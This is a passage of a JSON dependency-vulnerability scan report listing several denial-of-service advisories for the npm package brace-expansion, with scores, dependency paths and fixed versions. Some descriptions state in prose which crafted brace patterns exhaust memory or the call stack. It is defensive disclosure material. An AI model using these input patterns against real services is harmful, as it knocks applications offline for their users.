Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
